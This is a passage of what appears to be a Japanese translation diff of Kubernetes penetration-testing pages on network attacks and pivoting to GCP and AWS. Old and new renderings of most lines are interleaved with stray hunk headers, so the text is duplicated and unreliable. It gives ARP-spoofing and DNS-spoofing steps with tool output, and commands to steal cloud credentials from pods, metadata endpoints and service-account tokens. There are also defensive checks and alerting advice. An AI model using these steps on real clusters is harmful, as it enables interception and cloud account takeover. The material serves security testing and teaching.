このシナリオでは、4つのmachineが作成されます:
このシナリオでは4台のmachinesが作成されます
- ubuntu-pe: nodeescapeしてmetricsを確認するためのPrivileged machine攻撃には不要)
- ubuntu-pe: nodeescapeしてmetricsを確認するためのPrivileged machineattackには不要)
- **ubuntu-attack**: default namespace内の**malicious** container
- **ubuntu-victim**: kube-system namespace内の**Victim** machine
- **mysql**: default namespace内の**Victim** machine
- **ubuntu-victim**: kube-system namespace内の**victim** machine
- **mysql**: default namespace内の**victim** machine
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## 基本的な Kubernetes Networking
## Basic Kubernetes Networking
ここで紹介する networking トピックについてさらに詳しく知りたい場合は、references を参照してください。
### ARP
一般的に、**node 内の pod-to-pod networking** は、すべての pod を接続する **bridge**介して利用できます。この bridge は**cbr0**と呼ばれます。(一部の network plugin は独自の bridge をインストールします。)**cbr0 は ARP**Address Resolution Protocol)の解決も処理できます。incoming packet が cbr0 に到着すると、ARP を使って destination MAC address を解決できます。
一般的に、**node 内の pod-to-pod networking** は、すべての pod を接続する **bridge**通じて利用できます。この bridge は**cbr0**と呼ばれます。(一部の network plugin は独自の bridge をインストールします。)**cbr0 は ARP** (Address Resolution Protocol) 解決も処理できます。incoming packet が cbr0 に到着すると、ARP を使って destination MAC address を解決できます。
この事実は、デフォルトでは、**同じ node で動作しているすべての pod** が、ethernet levellayer 2)で同じ node 内の他の任意の pod と**communicate** できることを意味します(namespace とは独立に)。
この事実は、デフォルトでは、**同じ node で動作るすべての pod** が、ethernet レベルlayer 2)で同じ node 内の他の任意の pod と **communicate** できることを意味します(namespace には依存しません)。
> [!WARNING]
> そのため、同じ node の pod 間で A**RP Spoofing attacks** を実行することが可能です。
> したがって、同じ node の pods 間で A**RP Spoofing attacks** を実行することが可能です。
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` は L3/L4 の pod traffic control ですが、API server 自体ではなく CNI plugin によって enforce されます。cluster は NetworkPolicy objects を保存していても、active CNI がそれらを実装していなければ traffic を許可し続けることがあるため、常に制御された許可 source と blocked な negative-control source で検証してください。
`kubectl get networkpolicy -A` だけで止めないでください。Cilium、Calico、OVN-Kubernetes、Antrea、または managed-provider dataplanes を使う cluster では、`CiliumNetworkPolicy``CiliumClusterwideNetworkPolicy`、Calico `GlobalNetworkPolicy``AdminNetworkPolicy``BaselineAdminNetworkPolicy` のような policy APIs も存在し得ます。これらは、明示的な deny、tier/order、cluster scope、L7/DNS rules、または通常の加算的な Kubernetes NetworkPolicy semantics では説明できない admin guardrails を追加できます。
Useful first checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
バイパス分析では、意図したブロックが許可された proxy、DNS、または egress gateway、`hostNetwork` pod、node-local path、広範な namespace または pod label selector、あるいはより高優先度の admin/global policy を通じて回避されていないか確認します。source pod labels、namespace labels、destination Service または EndpointSlice、CNI/policy implementation、決定した policy rule、そして traffic proof を報告します。
### DNS
kubernetes 環境では、通常 kube-system namespace で 1 つ(または複数)の **DNS services running** を見つけることができます
kubernetes 環境では、通常 kube-system namespace で 1 つ(またはそれ以上)の **DNS services running** を見つけます:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,30 +152,30 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
前の情報を見ると興味深いものが分かります。**serviceIP** は **10.96.0.10** ですが、serviceを実行している **podIP****172.17.0.2** です。
前の情報興味深いものが見えます。**serviceIP** は **10.96.0.10** ですが、service を実行している **podIP****172.17.0.2** です。
任意のpod内でDNS addressを確認すると、次のようなものが見つかります:
任意の pod 内で DNS アドレスを確認すると、次のようなものが見つかります:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
しかし、pod はその **address** への行き方を **知らない**なぜなら、この場合の **pod range** は 172.17.0.10/26 だからである
しかし、pod はその **address** への行き方を **知りません**。この場合の **pod range** は 172.17.0.10/26 だからで
したがって、pod は **DNS requests を address 10.96.0.10 に送信**し、れは cbr0 によって **172.17.0.2 に translated** され
そのため、pod は **DNS requests を address 10.96.0.10 に送信**し、れは cbr0 によって **172.17.0.2 に** **translated** されます
> [!WARNING]
> これは、pod の **DNS request** は、DNS server が pod と同じ subnetwork にあったとしても、**service IP を endpoint IP に translate するために bridge を必ず通る**ことを意味す
> これは、pod の **DNS request** は、DNS server が pod と同じ subnetwork にあっても、**service IP を endpoint IP に translate** するために **常に** **bridge** を通ることを意味します。
>
> これを踏まえ、さらに **ARP attacks are possible** であることを考えると、node 内の **pod** は、**subnetwork** 内の **各 pod** と **bridge** の間の **traffic** を **intercept** し、DNS server からの **DNS responses** を **modify** できる(**DNS Spoofing**)。
> これを踏まえ、さらに **ARP attacks are possible** であることを考えると、node 内の **pod** は、**subnetwork** 内の **各 pod** と **bridge** の間の **traffic** を **intercept** し、DNS server からの **DNS responses** を **modify** できるようになります**DNS Spoofing**)。
>
> さらに、**DNS server** が attacker と **同じ node** にある場合、attacker は cluster 内の任意の pod の **DNS request** をすべて **intercept** しDNS server と bridge の間で)、response を modify でき
> さらに、**DNS server** が attacker と **同じ node** にある場合、attacker は cluster 内の任意の pod の **すべての DNS request** を(DNS server と bridge の間で)**intercept** し、responses を modify できます
> [!NOTE]
> の cluster でこれが機能すると決めつける前に、active CNI と DNS path を確認してください。CNI によっては same-node traffic の扱いが異なる場合があり、NodeLocal DNSCache を使 cluster では、pod の DNS query が CoreDNS に転送される前に node-local address に送られることがあります。そのような環境では、DNS spoofing は pod の配置、packet capabilities、resolver configuration、node-local cache の動作、そして application が TLS や別の identity mechanism で peer を検証するかどうかに依存します。
> 環境の cluster でこれが機能すると決めつける前に、active CNI と DNS path を確認してください。CNI によっては同一 node traffic を異なる方法で route または isolate します。また、NodeLocal DNSCache を使用する cluster では、CoreDNS に転送する前に、pod の DNS query が node-local address に送られる場合があります。そのような環境でDNS spoofing はpod の配置、packet capabilities、resolver configuration、node-local cache の挙動、および application が TLS や別の identity mechanism で peer を検証するかどうかに依存します。
## 同じ Node の pod における ARP Spoofing
## 同じ Node の pod での ARP Spoofing
私たちの目標は、**ubuntu-victim から mysql への通信を少なくとも steal すること**です。
私たちの goal は、**ubuntu-victim から mysql への通信を少なくとも steal すること**です。
### Scapy
```bash
@@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
に述べたように、**DNS server pod と同じ node 上にある pod を compromise できれば**、**ARPSpoofing** を使って **bridge** と **DNS** pod の間で **MitM** し、**すべての DNS responses を modify** できます。
すでに述べたように、もし **DNS server pod と同じ node 上 pod をcompromise** できれば、**ARPSpoofing** を使って **bridge** と DNS pod の間で **MitM** し、**すべての DNS responses****modify** できます。
これをテストするためのとても良い**tool** と **tutorial** が [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) にあります。
これをテストするためのとても良い **tool** と **tutorial** が [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) にあります。
今回のシナリオでは、attacker pod でその**tool** を**download** し、**spoof** したい **domains** を含む `hosts` という名前の**file** を作成します
のシナリオでは、attacker pod **tool** を **download** し、**spoof** したい **domains** を含む `hosts` という名前の **file** を作成します:
```
cat hosts
google.com. 1.1.1.1
```
Ubuntu-victim マシンに対して攻撃を実行してください:
ubuntu-victim マシンに攻撃を実行する:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -263,28 +279,28 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> 自分で DNS spoofing スクリプトを作ろうとする場合、**DNS response** を **ただ変更するだけ** では **動作しません**。なぜなら、その **response** の **src IP** が **malicious** **pod** の IP address になり、**受け入れられない** からです。\
> **victim** が DNS request を送信した **DNS** の **src IP** を持つ **新しい DNS packet** を生成する必要があります(これは 172.16.0.2 のようなものです。10.96.0.10 ではありません。これは K8s DNS service IP であ DNS server ip ではありません。これについては introduction で詳しく説明します)。
> 自分で DNS spoofing script を作ろうとする場合、**DNS response をただ modify するだけでは** **動作しません**。なぜなら、その **response** の **src IP** が **malicious** **pod** の IP address になり、**accepted** されないからです。\
> **victim** が DNS request を送 **DNS** の **src IP** を持つ**new DNS packet** を生成する必要があります(これは 172.16.0.2 のようなものです。10.96.0.10 ではありません。これは K8s DNS service IP であって DNS server ip ではありません。これについては introduction で詳しく説明しています)。
## coreDNS configmap を使った DNS Spoofing
## DNS Spoofing via coreDNS configmap
kube-system namespace の configmap `coredns` に対して write permissions を持つ user は、cluster の DNS responses を変更できます。
`coredns` namespace の kube-system に対して write permissions を持つ user は、cluster の DNS responses を modify できます。
NodeLocal DNSCache が deployed されている場合も確認してください。通常、これは hostNetwork DaemonSet として動作し、独自の ConfigMap、logs、cache、forwarding path を持っています。CoreDNS の変更だけが、DNS behavior に影響したり観測されたりする唯一の場所とは限りません。
また、NodeLocal DNSCache が deployed されている場合はそれも確認してください。通常は hostNetwork DaemonSet として動作し、独自の ConfigMap、logs、cache、forwarding path を持ます。CoreDNS の変更だけが、DNS behavior が affected されたり observed されたりする唯一の場所とは限りません。
この attack の詳細は以下を参照してください:
この attack についての詳細は以下を確認してください:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## expose された kubernetes management services の悪用
## Abusing exposed kubernetes management services
Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、Kubernetes dashboard のような services は、internet または kubernetes network 内に expose されていることがよくあります。**kubernetes を管理するために使われている platform を見つけて access できた** attacker は、それを悪用して kubernetes API へ access を得て、新しい pods 作成、既存のものの変更、さらには削除などを実行できます。
Apache NiFi、Kubeflow、Argo Workflows、Weave Scope、そして Kubernetes dashboard のような Services は、しばしば internet あるいは kubernetes network 内に exposed されています。**kubernetes を manage するために使われている platform を見つけて access できた** attacker は、それを abuse して kubernetes API へ access 、新しい pods 作成したり、既存のものを modify したり、さらには削除したりできます。
## kubernetes network policies の列挙
## Enumerating kubernetes network policies
設定済みの **networkpolicies** を取得する:
設定された **networkpolicies** を取得:
```bash
kubectl get networkpolicies --all-namespaces
```
@@ -296,14 +312,14 @@ kubectl get globalnetworkpolicy --all-namespaces
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
ネットワークプラグインまたはセキュリティソリューションによってインストールされた他の policy-related CRDs を取得する:
あなたのnetwork pluginまたはsecurity solutionによってインストールされた他のpolicy-related CRDsを取得してください:
```bash
kubectl get crd | grep -i policy
```
## トラフィックのキャプチャ
## Capturing Traffic
ツール[**Mizu**](https://github.com/up9inc/mizu)は、Kubernetes向けのシンプルかつ強力なAPI **traffic viewer**で、microservices間の**すべてのAPI communicationを確認**でき、debugregressionのトラブルシュートに役立ちます。\
選択したpodsにagentsをインストールしてtraffic情報を収集し、web serverで表示します。ただし、これには高いK8s権限が必要です(また、あまりstealthyではありません)。
ツール [**Mizu**](https://github.com/up9inc/mizu) は、**Kubernetes** 向けのシンプルだが強力な API **traffic viewer** で、microservices 間の**すべての API communication** を**view** して、debugregression の troubleshooting を助けます。\
これは選択した podagent をインストールして traffic 情報を収集し、web serverで表示します。ただし、これには高い K8s 権限が必要です(また、あまり stealthy ではありません)。
## References
@@ -4,62 +4,62 @@
## GCP
GCP 内で k8s cluster を実行している場合、cluster 内で動作している一部の application に GCP へのアクセス権を持たせたいはずです。これを行う一般的な方法は 2 つあります:
GCP 内で k8s cluster を運用している場合、cluster 内で動作するアプリケーションが GCP に何らかの access を持つことを望むはずです。これを行う一般的な方法は 2 つあります:
### Mounting GCP-SA keys as secret
**kubernetes application to GCP** にアクセス権を与える一般的な方法は次のとおりです:
**kubernetes application GCP への access を与える**一般的な方法は次のとおりです:
- GCP Service Account を作成する
- 必要な permissions をそれに bind する
- 作成した SA の json key をダウンロードする
- それに必要な permissions を bind する
- 作成した SA の json key を download する
- pod 内に secret として mount する
- GOOGLE_APPLICATION_CREDENTIALS environment variable を、json が置かれている path を指すように設定する
- JSON の場所を指す GOOGLE_APPLICATION_CREDENTIALS environment variable を設定する
> [!WARNING]
> したがって、**attacker** として pod 内の container を compromise した場合は、この **env** **variable** と GCP credentials を含む **json** **files** を確認すべきです。
> したがって、**attacker** として pod 内の container を compromise した場合は、その GCP credentials を持つ **env** **variable** と **json** **files** を確認すべきです。
### Relating GSA json to KSA secret
GSA に GKE cluser への access を与える方法の 1 つは、次のように bind することです:
GSA に GKE cluster への access を与える方法の 1 つは、次のように bind することです:
- の command を使用して、GKE cluster と同じ namespace に Kubernetes service account を作成する:
- 以下の command を使用して、GKE cluster と同じ namespace に Kubernetes service account を作成する:
```bash
kubectl create serviceaccount <service-account-name>
```
- GKE cluster へのアクセスを付与したい GCP service account の credentials を含む Kubernetes Secret を作成します。以下の例に示すように、`gcloud` command-line tool を使ってこれを行うことができます:
- GKE cluster へのアクセスを付与したい GCP service account の credentials を含む Kubernetes Secret を作成します。以下の例に示すように、`gcloud` command-line tool を使ってこれを行ます:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- 以下のコマンドを使用して、Kubernetes Secret を Kubernetes service account に bind します:
- のコマンドを使用して、Kubernetes Secret を Kubernetes service account に bind します:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> **2番目のステップ**で、**GSAのcredentials****KSAのsecret**として設定されました。したがって、**GKE** clusterの**内**からその**secret****read**できれば、その**GCP service account****escalate**できます。
> **2番目のステップ**で、**GSAのcredentials****KSAのsecret** として設定されました。したがって、**GKE** クラスタの**内**からその **secret****read** できれば、その **GCP service account****escalate** できます。
### GKE Workload Identity
Workload Identityを使うと、[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)として動作するように設定できます。Kubernetes service accountで実行中のPodsは、Google Cloud APIsアクセスする際に自動的にGoogle service accountとしてauthenticateします。
Workload Identity を使うと、[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) として機能するように設定できます。Kubernetes service account で動作する Pods は、Google Cloud APIsアクセスする際に自動的に Google service account として authenticate します。
この動を有効するための**最初の一連のステップ**は、GCPでWorkload Identityを**enable**すること[**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)、k8simpersonateさせたいGCP SAを作成することです。
この動を有効するための **最初の一連のステップ** は、**GCP で Workload Identityenable**[**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))、k8simpersonate させたい GCP SA を作成することです。
- 新しい cluster**Enable Workload Identity**
- 新しい cluster**Enable Workload Identity**
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **新しい nodepool を作成/更新する** (Autopilot clusters では不要)
- **新しい nodepool を作成/更新** (Autopilot clusters では不要)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- GCP permissions を持つ K8s から impersonate するための **GCP Service Account** を作成する:
- K8s から GCP 権限を持つ **GCP Service Account to impersonate** を作成する:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- **KSA** を使って **pod** を実行し、**GSA:** への **access** を確認する:
- **KSA** を使って **pod** を実行し、**GSA** への **access** を確認する:
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
認証が必要な場合は、のコマンドを確認してください:
認証が必要な場合は、以下のコマンドを確認してください:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> K8s 内の攻撃者として、**`iam.gke.io/gcp-service-account` annotation** を持つ **SAs** を **search** すべきです。これは、その SA が GCP の何かにアクセスできることを示します。別の方法としては、cluster 内の各 KSA を悪用して、アクセス権があるかどうか確認することです。\
> GCP からは、bindings を列挙して、**Kubernetes 内の SAs にどの access を与えているか** を把握するのが常に有用です。
> K8s 内の攻撃者として、**`iam.gke.io/gcp-service-account` annotation** を持つ **SAs** を **search** すべきです。これは、その SA が GCP の何かにアクセスできることを示しています。別の方法としては、cluster 内の各 KSA を abuse して、アクセス権があるかどうか確認することです。\
> GCP からは、bindings を列挙して、**Kubernetes 内の SAs にどの access を与えているか** をるのが常に興味深いです。
これは、**all the pods** の定義を簡単に **iterate over** して、その **annotation****looking** するための script です:
これは、**すべての pods** の definitions を簡単に **iterate** して、その **annotation****looking** するための script です:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Pods に IAM Roles を付与する (古い) 方法は、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の **server.** を使うことです。基本的には、クラスタ内で **特権的な IAM role** のようなものを持つ **daemonset** を実行する必要があります。この daemonset が、必要とする pods に IAM roles へのアクセスを与えるものになります。
Pod に IAM Roles を与える(古い)方法の1つは、[**Kiam**](https://github.com/uswitch/kiam) または [**Kube2IAM**](https://github.com/jtblin/kube2iam) の **server.** を使うことです。基本的には、クラスタ内で **daemonset** を実行し、**ある種の特権的な IAM role** を持たせる必要があります。この daemonset が、必要とする pods に IAM roles へのアクセスを与える役割を担います。
まず最初に、**namespace 内でどの roles にアクセスできるか** を設定する必要があります。これは namespace オブジェクト内の annotation を使って行います:
まず最初に、**namespace 内でどの roles にアクセスできるか** を設定する必要があります。これは namespace object 内の annotation を使って行います:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
namespace が IAM roles で設定されると、Pods は以下のように各 pod 定義で **希望する role を指定**できます:
namespace が Pods に持たせられる IAM roles で設定されたら、各 pod definition で **次のような形で希望する role を指定できます**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> 攻撃者として、pods や namespaces の中でこれらの annotations を**見つけた**場合、または動作中の kiam/kube2iam server(おそらく kube-system 内)を見つけた場合、すでに pods によって**使われている**すべての r ole とそれ以上を**impersonate** できます(AWS account にアクセスできるなら roles を列挙してください)。
> 攻撃者として、pod や namespace、あるいは(おそらく kube-system 上で)kiam/kube2iam server が稼働している場合にこれらの annotations を**見つけたら**、すでに**pod によって使用されている**すべての r**ole**それ以上を**impersonate**できます(AWS account への access があるなら role を列挙してください)。
#### Create Pod with IAM Role
#### IAM Role を持つ Pod を作成する
> [!NOTE]
> 指定する IAM role はkiam/kube2iam role と同じ AWS account にある必要があり、その role はそれにアクセスできなければなりません。
> 指定する IAM role は kiam/kube2iam role と同じ AWS account にある必要があり、その role はそれに access できなければなりません。
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -194,12 +194,12 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM Role for K8s Service Accounts via OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
これは **AWS 推奨方法** です。
これは **AWS 推奨する方法** です。
1. まず、[クラスタ用の OIDC provider を作成](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)する必要があります。
1. まず、[cluster 用の OIDC provider を作成](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)する必要があります。
2. 次に、SA が必要とする権限を持つ IAM role を作成します。
3. [IAM role と SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名の間に trust relationship を作成します(または、その namespace のすべての SA に role へのアクセスを与える namespace を指定します)。_trust relationship は主に OIDC provider 名、namespace 名、SA 名を確認します_。
4. 最後に、**role の ARN を示す annotation 付きで SA を作成**します。すると、その SA で動作する pod は **role の token へ access** できます。**token** はファイル内に **書き込まれ**、その path は **`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます(default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
3. [IAM role と SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名の間に trust relationship を作成します(または、その namespace のすべての SA にその role への access を与える namespace)。_trust relationship は主に OIDC provider 名、namespace 名、SA 名をチェックします_。
4. 最後に、**role の ARN を示す annotation を付けた SA を作成**すると、その SA で動作する pods は **role の token へ access できる**ようになります。**token** はファイル内に**書き込まれ**、その path は **`AWS_WEB_IDENTITY_TOKEN_FILE`** で指定されます(default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,70 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` トークンを使って **aws を取得する** には、次を実行します:
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` からトークンを使って **aws を取得する** には、次を実行します:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> 攻撃者として K8s cluster を列挙できるなら、その annotation が付いた **service accounts** を確認して **AWS** へ **escalate** してください。そのためには、IAM の **privileged service accounts** の1つを使って **exec/create** で **pod** を起動し、token を盗むだけです。
> 攻撃者として K8s cluster を列挙できるなら、**その annotation を持つ service accounts** を確認して **AWSescalate** してください。これを行うには、IAM の **privileged service accounts** の 1つを使って **exec/create** で **pod** を起動し、token を盗むだけです。
>
> さらに、pod の中にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような env variables を確認してください。
> さらに、pod にいる場合は、**AWS_ROLE_ARN** や **AWS_WEB_IDENTITY_TOKEN** のような env variables を確認してください。
> [!CAUTION]
> 場合によっては、role の **Turst Policy** が **bad configured** で、想定された service account に AssumeRole access を与える代わりに、**all the service accounts** に与えてしまうことがあります。したがって、制御下にある service account に annotation を書き込めるなら、その role に access できます。
> ときには role の **Turst Policy** が **bad configured** で、想定された service account に AssumeRole access を与える代わりに、**すべての service accounts** に与えてしまうことがあります。したがって、制御下 service account に annotation を書き込めるなら、その role にアクセスできます。
>
> 詳細は **following page** を確認してください:
> **詳細は次の page を確認してください**:
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Cluster 内で IAM Roles を持つ Pods と SAs を探す
### EKS Pod Identity
これは、すべての pods と sas の定義を簡単に **iterate over** して、その **annotation** を **looking** するための script です:
EKS Pod Identity は、IRSA web identity token を使って各 workload が STS を呼び出すのに依存せず、IAM role を Kubernetes service account に関連付けるための、AWS-managed のより新しい方法です。cluster は nodes 上で EKS Pod Identity Agent を実行し、EKS API は pod identity associations を保存し、選択された pods 内の AWS SDKs は agent によって公開される container credentials provider path 経由で credentials を取得します。
Kubernetes から見ると、重要な evidence は依然として service account と pod の関係ですが、runtime signals は IRSA とは異なります。`AWS_WEB_IDENTITY_TOKEN_FILE` だけでなく、pods 内の AWS container credential environment variables を探してください:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
AWS から関連付けを列挙し、その後それらを Kubernetes の namespace と service account に対応付ける:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
関連付けられた pod 内では、主な runtime indicators は EKS によって注入される container credentials provider variables です:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
ローカル credential エンドポイントは通常 `http://169.254.170.23/v1/credentials` で、authorization token は `pods.eks.amazonaws.com` audience 向けに projected された service account token です。AWS SDK の credential-provider 順序はそのまま適用されることを忘れないでください。static environment credentials や shared credential files が chain の前のほうで設定されている場合、pod は Pod Identity association ではなくそれらを使う可能性があります。
Pod Identity roles は通常 `sts:AssumeRole` と `sts:TagSession` に対して `pods.eks.amazonaws.com` service principal を trust します。`kubernetes-namespace`、`kubernetes-service-account`、cluster tags などの request tags に対する trust-policy 条件を確認してください。広すぎる条件は、再利用可能な role を多すぎる service account に公開してしまう可能性があります。Pod Identity は temporary credentials に session tags も追加し、それらの tags は `${aws:PrincipalTag/kubernetes-namespace}` や `${aws:PrincipalTag/kubernetes-service-account}` に基づく resource access のような ABAC policies を駆動できます。
cross-account access の場合、Pod Identity association は同一 account の role を使って、別 account の target role へ chain できます。その場合は、EKS association role と target role の trust/policy の両方を確認してください。Pod Identity の session tags は role chain をまたいで transitive なので、どの cluster namespace と service account が remote account にアクセスしたかを証明するための有用な evidence になります。
> [!WARNING]
> EKS Pod Identity association を持つ service account を使う pods を作成または変更できるなら、その pod が有用な AWS permissions を受け取るかテストしてください。defense 側では、新しい pod identity associations、予期しない service account の使用、そして特定の workload のみに使われるべき role からの AWS API calls を alert してください。
### EKS governance guardrails
AWS 側から EKS を確認する際は、principal が広く見える EKS permissions を持っていても、IAM と AWS Organizations の guardrails により安全でない cluster configuration が拒否されることを忘れないでください。最近の EKS condition keys は、public または private endpoint access、Kubernetes version、secrets-encryption KMS keys、deletion protection、control-plane scaling tier、zonal shift configuration などの cluster settings を扱います。これらの keys は IAM policies や Service Control Policies で使って、account-wide の cluster baseline を強制できます。
これは attack impact と triage の両方で重要です。principal が `eks:UpdateClusterConfig` を呼べても、SCP が `eks:endpointPublicAccess` を通じた public endpoint の有効化を拒否しているなら、public API exposure と主張するのではなく、試行された risky action と、それをブロックした guardrail を報告してください。defenders にとっては、成功した変更だけでなく、拒否された EKS configuration changes も alert 対象です。拒否された試行は、compromised automation、古くなった admin roles、または、より保護の弱い account への pivot 前の reconnaissance を示す可能性があるためです。
役立つ参照:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Cluster 内の IAM Roles を持つ Pods と SAs を見つける
これは、すべての pods と sas の definitions を簡単に**反復処理**し、その**annotation**を**探す**ための script です:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
前のセクションでは pod を使って IAM Roles を盗む方法について説明しましたが、**K8s cluster の Node は cloud 内の instance である**ことに注意してください。つまり、その Node 高い確率で**盗める IAM role を持っている**ことになります_通常、K8s cluster のすべての node は同じ IAM role を持つため、各 node を個別に確認する価値はあまりないかもしれません_)。
前のセクションは、pod を使って IAM Roles を盗む方法についてだったが、**K8s cluster の Node は cloud 内の instance になる**ことに注意。これは、その Node がかなり高い確率で**盗める IAM role を持っている**ことを意味する_通常、K8s cluster のすべての node は同じ IAM role を持つので、各 node を個別に確認するはあまり意味がないかもしれない_)。
node metadata endpoint にアクセスするには、以下が必要です:
- pod 内にいて、metadata endpoint が少なくとも 2 tcp hops に設定されていること。これは最も一般的な misconfiguration です。通常cluster 内の異なる pod 壊れないように metadata endpoint へのアクセスを必要とし、複数の会社 cluster 内のすべての pod から metadata endpoint へのアクセスを許可することを単純に決めています
node metadata endpoint にアクセスするには、以下が必要:
- pod 内にいて、metadata endpoint が少なくとも 2 tcp hops に設定されていること。これは最も一般的な misconfiguration で通常 cluster 内の異なる pod 壊れないように metadata endpoint へのアクセスを必要とし、多くの会社 cluster 内のすべての pod から metadata endpoint へのアクセスを許可するようにしてしまう
- `hostNetwork` が有効な pod 内にいること。
- node に escape して、metadata endpoint に直接アクセスすること。
